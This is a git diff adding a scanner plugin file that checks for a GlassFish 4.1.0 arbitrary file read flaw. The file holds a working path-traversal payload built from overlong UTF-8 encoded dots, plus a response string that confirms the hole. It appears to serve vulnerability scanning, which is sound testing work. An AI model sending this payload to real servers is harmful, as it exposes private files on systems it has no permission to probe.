diff --git a/plugin/json/glassfish_lfr.json b/plugin/json/glassfish_lfr.json new file mode 100644 index 00000000..3999668d --- /dev/null +++ b/plugin/json/glassfish_lfr.json @@ -0,0 +1,22 @@ +{ + "target":"glassfish", + "meta":{ + "name": "GlassFish 任意文件读取", + "remarks": "可读取服务器上的任意文件。", + "level": 2, + "type": "LFR", + "author": "wolf", + "references": { + "url":"https://github.com/vulhub/vulhub/tree/master/glassfish/4.1.0", + "cve":"" + } + }, + "request":{ + "path": "/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/", + "postData": "" + }, + "verify":{ + "type": "string", + "match": "package-appclient.xml" + } +} \ No newline at end of file